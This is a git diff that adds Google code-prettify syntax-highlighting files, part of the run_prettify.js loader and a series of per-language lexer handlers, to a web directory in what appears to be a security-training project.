+    var n = stylesheets.length;
+    function load(i) {
+      if (i === n) { return; }
+      var link = doc.createElement('link');
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      if (i + 1 < n) {
+        // http://pieisgood.org/test/script-link-events/ indicates that many
+        // versions of IE do not support onerror on <link>s, though
+        // http://msdn.microsoft.com/en-us/library/ie/ms535848(v=vs.85).aspx
+        // indicates that recent IEs do support error.
+        link.error = link.onerror = function () { load(i + 1); };
+      }
+      link.href = stylesheets[i];
+      head.appendChild(link);
+    }
+    load(0);
+  }
+
+  var scriptQuery = '';
+  // Look for the <script> node that loads this script to get its parameters.
+  // This starts looking at the end instead of just considering the last
+  // because deferred and async scripts run out of order.
+  // If the script is loaded twice, then this will run in reverse order.
+  var scripts = doc.getElementsByTagName('script');
+  for (var i = scripts.length; --i >= 0;) {
+    var script = scripts[i];
+    var match = script.src.match(
+        /^[^?#]*\/run_prettify\.js(\?[^#]*)?(?:#.*)?$/);
+    if (match) {
+      scriptQuery = match[1] || '';
+      // Remove the script from the DOM so that multiple runs at least run
+      // multiple times even if parameter sets are interpreted in reverse
+      // order.
+      script.parentNode.removeChild(script);
+      break;
+    }
+  }
+
+  // Pull parameters into local variables.
+  var autorun = true;
+  var langs = [];
+  var skins = [];
+  var callbacks = [];
+  scriptQuery.replace(
+      /[?&]([^&=]+)=([^&]+)/g,
+      function (_, name, value) {
+        value = decodeURIComponent(value);
+        name = decodeURIComponent(name);
+        if (name == 'autorun')   { autorun = !/^[0fn]/i.test(value); } else
+        if (name == 'lang')      { langs.push(value);                } else
+        if (name == 'skin')      { skins.push(value);                } else
+        if (name == 'callback')  { callbacks.push(value);            }
+      });
+
+  // Use https to avoid mixed content warnings in client pages and to
+  // prevent a MITM from rewrite prettify mid-flight.
+  // This only works if this script is loaded via https : something
+  // over which we exercise no control.
+  var LOADER_BASE_URL =
+     'https://cdn.rawgit.com/google/code-prettify/master/loader';
+
+  for (var i = 0, n = langs.length; i < n; ++i) (function (lang) {
+    var script = doc.createElement("script");
+
+    // Excerpted from jQuery.ajaxTransport("script") to fire events when
+    // a script is finished loading.
+    // Attach handlers for each script
+    script.onload = script.onerror = script.onreadystatechange = function () {
+      if (script && (
+            !script.readyState || /loaded|complete/.test(script.readyState))) {
+        // Handle memory leak in IE
+        script.onerror = script.onload = script.onreadystatechange = null;
+
+        --pendingLanguages;
+        checkPendingLanguages();
+
+        // Remove the script
+        if (script.parentNode) {
+          script.parentNode.removeChild(script);
+        }
+
+        script = null;
+      }
+    };
+
+    script.type = 'text/javascript';
+    script.src = LOADER_BASE_URL
+      + '/lang-' + encodeURIComponent(langs[i]) + '.js';
+
+    // Circumvent IE6 bugs with base elements (#2709 and #4378) by prepending
+    head.insertBefore(script, head.firstChild);
+  })(langs[i]);
+
+  var pendingLanguages = langs.length;
+  function checkPendingLanguages() {
+    if (!pendingLanguages) {
+      win.setTimeout(onLangsLoaded, 0);
+    }
+  }
+
+  var skinUrls = [];
+  for (var i = 0, n = skins.length; i < n; ++i) {
+    skinUrls.push(LOADER_BASE_URL
+        + '/skins/' + encodeURIComponent(skins[i]) + '.css');
+  }
+  skinUrls.push(LOADER_BASE_URL + '/prettify.css');
+  loadStylesheetsFallingBack(skinUrls);
+
+  var prettyPrint = (function () {
+    /* @include prettify.js */
+    return prettyPrint;
+  })();
+
+  // If this script is deferred or async and the document is already
+  // loaded we need to wait for language handlers to load before performing
+  // any autorun.
+  function onLangsLoaded() {
+    if (autorun) {
+      contentLoaded(
+        function () {
+          var n = callbacks.length;
+          var callback = n ? function () {
+            for (var i = 0; i < n; ++i) {
+              (function (i) {
+                win.setTimeout(
+                   function () {
+                     win['exports'][callbacks[i]].apply(win, arguments);
+                   }, 0);
+               })(i);
+            }
+          } : void 0;
+          prettyPrint(callback);
+        });
+    }
+  }
+  checkPendingLanguages();
+
+}());
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-Splus.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-Splus.js
new file mode 100644
index 000000000..6ce16e8a1
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-Splus.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2012 Jeffrey B. Arnold
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"'],["str",/^\'(?:[^\'\\]|\\[\s\S])*(?:\'|$)/,null,"'"]],[["com",/^#.*/],["kwd",/^(?:if|else|for|while|repeat|in|next|break|return|switch|function)(?![A-Za-z0-9_.])/],["lit",/^0[xX][a-fA-F0-9]+([pP][0-9]+)?[Li]?/],["lit",/^[+-]?([0-9]+(\.[0-9]+)?|\.[0-9]+)([eE][+-]?[0-9]+)?[Li]?/],["lit",/^(?:NULL|NA(?:_(?:integer|real|complex|character)_)?|Inf|TRUE|FALSE|NaN|\.\.(?:\.|[0-9]+))(?![A-Za-z0-9_.])/],
+["pun",/^(?:<<?-|->>?|-|==|<=|>=|<|>|&&?|!=|\|\|?|\*|\+|\^|\/|!|%.*?%|=|~|\$|@|:{1,3}|[\[\](){};,?])/],["pln",/^(?:[A-Za-z]+[A-Za-z0-9_.]*|\.[a-zA-Z_][0-9a-zA-Z\._]*)(?![A-Za-z0-9_.])/],["str",/^`.+`/]]),["r","s","R","S","Splus"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-aea.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-aea.js
new file mode 100644
index 000000000..784ebb29c
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-aea.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2009 Onno Hommes.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["com",/^#[^\r\n]*/,null,"#"],["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"']],[["kwd",/^(?:ADS|AD|AUG|BZF|BZMF|CAE|CAF|CA|CCS|COM|CS|DAS|DCA|DCOM|DCS|DDOUBL|DIM|DOUBLE|DTCB|DTCF|DV|DXCH|EDRUPT|EXTEND|INCR|INDEX|NDX|INHINT|LXCH|MASK|MSK|MP|MSU|NOOP|OVSK|QXCH|RAND|READ|RELINT|RESUME|RETURN|ROR|RXOR|SQUARE|SU|TCR|TCAA|OVSK|TCF|TC|TS|WAND|WOR|WRITE|XCH|XLQ|XXALQ|ZL|ZQ|ADD|ADZ|SUB|SUZ|MPY|MPR|MPZ|DVP|COM|ABS|CLA|CLZ|LDQ|STO|STQ|ALS|LLS|LRS|TRA|TSQ|TMI|TOV|AXT|TIX|DLY|INP|OUT)\s/,
+null],["typ",/^(?:-?GENADR|=MINUS|2BCADR|VN|BOF|MM|-?2CADR|-?[1-6]DNADR|ADRES|BBCON|[SE]?BANK\=?|BLOCK|BNKSUM|E?CADR|COUNT\*?|2?DEC\*?|-?DNCHAN|-?DNPTR|EQUALS|ERASE|MEMORY|2?OCT|REMADR|SETLOC|SUBRO|ORG|BSS|BES|SYN|EQU|DEFINE|END)\s/,null],["lit",/^\'(?:-*(?:\w|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?)?/],["pln",/^-*(?:[!-z_]|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?/i],["pun",/^[^\w\t\n\r \xA0()\"\\\';]+/]]),["apollo","agc","aea"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-agc.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-agc.js
new file mode 100644
index 000000000..784ebb29c
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-agc.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2009 Onno Hommes.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["com",/^#[^\r\n]*/,null,"#"],["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"']],[["kwd",/^(?:ADS|AD|AUG|BZF|BZMF|CAE|CAF|CA|CCS|COM|CS|DAS|DCA|DCOM|DCS|DDOUBL|DIM|DOUBLE|DTCB|DTCF|DV|DXCH|EDRUPT|EXTEND|INCR|INDEX|NDX|INHINT|LXCH|MASK|MSK|MP|MSU|NOOP|OVSK|QXCH|RAND|READ|RELINT|RESUME|RETURN|ROR|RXOR|SQUARE|SU|TCR|TCAA|OVSK|TCF|TC|TS|WAND|WOR|WRITE|XCH|XLQ|XXALQ|ZL|ZQ|ADD|ADZ|SUB|SUZ|MPY|MPR|MPZ|DVP|COM|ABS|CLA|CLZ|LDQ|STO|STQ|ALS|LLS|LRS|TRA|TSQ|TMI|TOV|AXT|TIX|DLY|INP|OUT)\s/,
+null],["typ",/^(?:-?GENADR|=MINUS|2BCADR|VN|BOF|MM|-?2CADR|-?[1-6]DNADR|ADRES|BBCON|[SE]?BANK\=?|BLOCK|BNKSUM|E?CADR|COUNT\*?|2?DEC\*?|-?DNCHAN|-?DNPTR|EQUALS|ERASE|MEMORY|2?OCT|REMADR|SETLOC|SUBRO|ORG|BSS|BES|SYN|EQU|DEFINE|END)\s/,null],["lit",/^\'(?:-*(?:\w|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?)?/],["pln",/^-*(?:[!-z_]|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?/i],["pun",/^[^\w\t\n\r \xA0()\"\\\';]+/]]),["apollo","agc","aea"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-apollo.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-apollo.js
new file mode 100644
index 000000000..784ebb29c
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-apollo.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2009 Onno Hommes.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["com",/^#[^\r\n]*/,null,"#"],["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"']],[["kwd",/^(?:ADS|AD|AUG|BZF|BZMF|CAE|CAF|CA|CCS|COM|CS|DAS|DCA|DCOM|DCS|DDOUBL|DIM|DOUBLE|DTCB|DTCF|DV|DXCH|EDRUPT|EXTEND|INCR|INDEX|NDX|INHINT|LXCH|MASK|MSK|MP|MSU|NOOP|OVSK|QXCH|RAND|READ|RELINT|RESUME|RETURN|ROR|RXOR|SQUARE|SU|TCR|TCAA|OVSK|TCF|TC|TS|WAND|WOR|WRITE|XCH|XLQ|XXALQ|ZL|ZQ|ADD|ADZ|SUB|SUZ|MPY|MPR|MPZ|DVP|COM|ABS|CLA|CLZ|LDQ|STO|STQ|ALS|LLS|LRS|TRA|TSQ|TMI|TOV|AXT|TIX|DLY|INP|OUT)\s/,
+null],["typ",/^(?:-?GENADR|=MINUS|2BCADR|VN|BOF|MM|-?2CADR|-?[1-6]DNADR|ADRES|BBCON|[SE]?BANK\=?|BLOCK|BNKSUM|E?CADR|COUNT\*?|2?DEC\*?|-?DNCHAN|-?DNPTR|EQUALS|ERASE|MEMORY|2?OCT|REMADR|SETLOC|SUBRO|ORG|BSS|BES|SYN|EQU|DEFINE|END)\s/,null],["lit",/^\'(?:-*(?:\w|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?)?/],["pln",/^-*(?:[!-z_]|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?/i],["pun",/^[^\w\t\n\r \xA0()\"\\\';]+/]]),["apollo","agc","aea"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-basic.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-basic.js
new file mode 100644
index 000000000..2d6151dc7
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-basic.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2013 Peter Kofler
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["str",/^(?:"(?:[^\\"\r\n]|\\.)*(?:"|$))/,null,'"'],["pln",/^\s+/,null," \r\n\t\u00a0"]],[["com",/^REM[^\r\n]*/,null],["kwd",/^\b(?:AND|CLOSE|CLR|CMD|CONT|DATA|DEF ?FN|DIM|END|FOR|GET|GOSUB|GOTO|IF|INPUT|LET|LIST|LOAD|NEW|NEXT|NOT|ON|OPEN|OR|POKE|PRINT|READ|RESTORE|RETURN|RUN|SAVE|STEP|STOP|SYS|THEN|TO|VERIFY|WAIT)\b/,null],["pln",/^[A-Z][A-Z0-9]?(?:\$|%)?/i,null],["lit",/^(?:\d+(?:\.\d*)?|\.\d+)(?:e[+\-]?\d+)?/i,
+null,"0123456789"],["pun",/^.[^\s\w\.$%"]*/,null]]),["basic","cbm"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-cbm.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-cbm.js
new file mode 100644
index 000000000..2d6151dc7
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-cbm.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2013 Peter Kofler
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["str",/^(?:"(?:[^\\"\r\n]|\\.)*(?:"|$))/,null,'"'],["pln",/^\s+/,null," \r\n\t\u00a0"]],[["com",/^REM[^\r\n]*/,null],["kwd",/^\b(?:AND|CLOSE|CLR|CMD|CONT|DATA|DEF ?FN|DIM|END|FOR|GET|GOSUB|GOTO|IF|INPUT|LET|LIST|LOAD|NEW|NEXT|NOT|ON|OPEN|OR|POKE|PRINT|READ|RESTORE|RETURN|RUN|SAVE|STEP|STOP|SYS|THEN|TO|VERIFY|WAIT)\b/,null],["pln",/^[A-Z][A-Z0-9]?(?:\$|%)?/i,null],["lit",/^(?:\d+(?:\.\d*)?|\.\d+)(?:e[+\-]?\d+)?/i,
+null,"0123456789"],["pun",/^.[^\s\w\.$%"]*/,null]]),["basic","cbm"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-cl.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-cl.js
new file mode 100644
index 000000000..2f18c967e
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-cl.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2008 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["opn",/^\(+/,null,"("],["clo",/^\)+/,null,")"],["com",/^;[^\r\n]*/,null,";"],["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"']],[["kwd",/^(?:block|c[ad]+r|catch|con[ds]|def(?:ine|un)|do|eq|eql|equal|equalp|eval-when|flet|format|go|if|labels|lambda|let|load-time-value|locally|macrolet|multiple-value-call|nil|progn|progv|quote|require|return-from|setq|symbol-macrolet|t|tagbody|the|throw|unwind)\b/,
+null],["lit",/^[+\-]?(?:[0#]x[0-9a-f]+|\d+\/\d+|(?:\.\d+|\d+(?:\.\d*)?)(?:[ed][+\-]?\d+)?)/i],["lit",/^\'(?:-*(?:\w|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?)?/],["pln",/^-*(?:[a-z_]|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?/i],["pun",/^[^\w\t\n\r \xA0()\"\\\';]+/]]),"cl el lisp lsp scm ss rkt".split(" "));
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-clj.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-clj.js
new file mode 100644
index 000000000..d1173b1e1
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-clj.js
@@ -0,0 +1,17 @@
+/*
+ Copyright (C) 2011 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["opn",/^[\(\{\[]+/,null,"([{"],["clo",/^[\)\}\]]+/,null,")]}"],["com",/^;[^\r\n]*/,null,";"],["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"']],[["kwd",/^(?:def|if|do|let|quote|var|fn|loop|recur|throw|try|monitor-enter|monitor-exit|defmacro|defn|defn-|macroexpand|macroexpand-1|for|doseq|dosync|dotimes|and|or|when|not|assert|doto|proxy|defstruct|first|rest|cons|defprotocol|deftype|defrecord|reify|defmulti|defmethod|meta|with-meta|ns|in-ns|create-ns|import|intern|refer|alias|namespace|resolve|ref|deref|refset|new|set!|memfn|to-array|into-array|aset|gen-class|reduce|map|filter|find|nil?|empty?|hash-map|hash-set|vec|vector|seq|flatten|reverse|assoc|dissoc|list|list?|disj|get|union|difference|intersection|extend|extend-type|extend-protocol|prn)\b/,
+null],["typ",/^:[0-9a-zA-Z\-]+/]]),["clj"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-css.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-css.js
new file mode 100644
index 000000000..90d175da0
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-css.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2009 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[ \t\r\n\f]+/,null," \t\r\n\f"]],[["str",/^\"(?:[^\n\r\f\\\"]|\\(?:\r\n?|\n|\f)|\\[\s\S])*\"/,null],["str",/^\'(?:[^\n\r\f\\\']|\\(?:\r\n?|\n|\f)|\\[\s\S])*\'/,null],["lang-css-str",/^url\(([^\)\"\']+)\)/i],["kwd",/^(?:url|rgb|\!important|@import|@page|@media|@charset|inherit)(?=[^\-\w]|$)/i,null],["lang-css-kw",/^(-?(?:[_a-z]|(?:\\[0-9a-f]+ ?))(?:[_a-z0-9\-]|\\(?:\\[0-9a-f]+ ?))*)\s*:/i],["com",/^\/\*[^*]*\*+(?:[^\/*][^*]*\*+)*\//],
+["com",/^(?:\x3c!--|--\x3e)/],["lit",/^(?:\d+|\d*\.\d+)(?:%|[a-z]+)?/i],["lit",/^#(?:[0-9a-f]{3}){1,2}\b/i],["pln",/^-?(?:[_a-z]|(?:\\[\da-f]+ ?))(?:[_a-z\d\-]|\\(?:\\[\da-f]+ ?))*/i],["pun",/^[^\s\w\'\"]+/]]),["css"]);PR.registerLangHandler(PR.createSimpleLexer([],[["kwd",/^-?(?:[_a-z]|(?:\\[\da-f]+ ?))(?:[_a-z\d\-]|\\(?:\\[\da-f]+ ?))*/i]]),["css-kw"]);PR.registerLangHandler(PR.createSimpleLexer([],[["str",/^[^\)\"\']+/]]),["css-str"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-dart.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-dart.js
new file mode 100644
index 000000000..da142a4e4
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-dart.js
@@ -0,0 +1,19 @@
+/*
+
+ Copyright (C) 2013 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"]],[["com",/^#!(?:.*)/],["kwd",/^\b(?:import|library|part of|part|as|show|hide)\b/i],["com",/^\/\/(?:.*)/],["com",/^\/\*[^*]*\*+(?:[^\/*][^*]*\*+)*\//],["kwd",/^\b(?:class|interface)\b/i],["kwd",/^\b(?:assert|async|await|break|case|catch|continue|default|do|else|finally|for|if|in|is|new|return|super|switch|sync|this|throw|try|while)\b/i],["kwd",/^\b(?:abstract|const|extends|factory|final|get|implements|native|operator|set|static|typedef|var)\b/i],
+["typ",/^\b(?:bool|double|Dynamic|int|num|Object|String|void)\b/i],["kwd",/^\b(?:false|null|true)\b/i],["str",/^r?[\']{3}[\s|\S]*?[^\\][\']{3}/],["str",/^r?[\"]{3}[\s|\S]*?[^\\][\"]{3}/],["str",/^r?\'(\'|(?:[^\n\r\f])*?[^\\]\')/],["str",/^r?\"(\"|(?:[^\n\r\f])*?[^\\]\")/],["typ",/^[A-Z]\w*/],["pln",/^[a-z_$][a-z0-9_]*/i],["pun",/^[~!%^&*+=|?:<>/-]/],["lit",/^\b0x[0-9a-f]+/i],["lit",/^\b\d+(?:\.\d*)?(?:e[+-]?\d+)?/i],["lit",
+/^\b\.\d+(?:e[+-]?\d+)?/i],["pun",/^[(){}\[\],.;]/]]),["dart"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-el.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-el.js
new file mode 100644
index 000000000..2f18c967e
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-el.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2008 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["opn",/^\(+/,null,"("],["clo",/^\)+/,null,")"],["com",/^;[^\r\n]*/,null,";"],["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"']],[["kwd",/^(?:block|c[ad]+r|catch|con[ds]|def(?:ine|un)|do|eq|eql|equal|equalp|eval-when|flet|format|go|if|labels|lambda|let|load-time-value|locally|macrolet|multiple-value-call|nil|progn|progv|quote|require|return-from|setq|symbol-macrolet|t|tagbody|the|throw|unwind)\b/,
+null],["lit",/^[+\-]?(?:[0#]x[0-9a-f]+|\d+\/\d+|(?:\.\d+|\d+(?:\.\d*)?)(?:[ed][+\-]?\d+)?)/i],["lit",/^\'(?:-*(?:\w|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?)?/],["pln",/^-*(?:[a-z_]|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?/i],["pun",/^[^\w\t\n\r \xA0()\"\\\';]+/]]),"cl el lisp lsp scm ss rkt".split(" "));
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-erl.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-erl.js
new file mode 100644
index 000000000..e7da9b041
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-erl.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2013 Andrew Allen
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\x0B\x0C\r ]+/,null,"\t\n\x0B\f\r "],["str",/^\"(?:[^\"\\\n\x0C\r]|\\[\s\S])*(?:\"|$)/,null,'"'],["lit",/^[a-z][a-zA-Z0-9_]*/],["lit",/^\'(?:[^\'\\\n\x0C\r]|\\[^&])+\'?/,null,"'"],["lit",/^\?[^ \t\n({]+/,null,"?"],["lit",/^(?:0o[0-7]+|0x[\da-f]+|\d+(?:\.\d+)?(?:e[+\-]?\d+)?)/i,null,"0123456789"]],[["com",/^%[^\n]*/],["kwd",/^(?:module|attributes|do|let|in|letrec|apply|call|primop|case|of|end|when|fun|try|catch|receive|after|char|integer|float,atom,string,var)\b/],
+["kwd",/^-[a-z_]+/],["typ",/^[A-Z_][a-zA-Z0-9_]*/],["pun",/^[.,;]/]]),["erlang","erl"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-erlang.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-erlang.js
new file mode 100644
index 000000000..e7da9b041
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-erlang.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2013 Andrew Allen
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
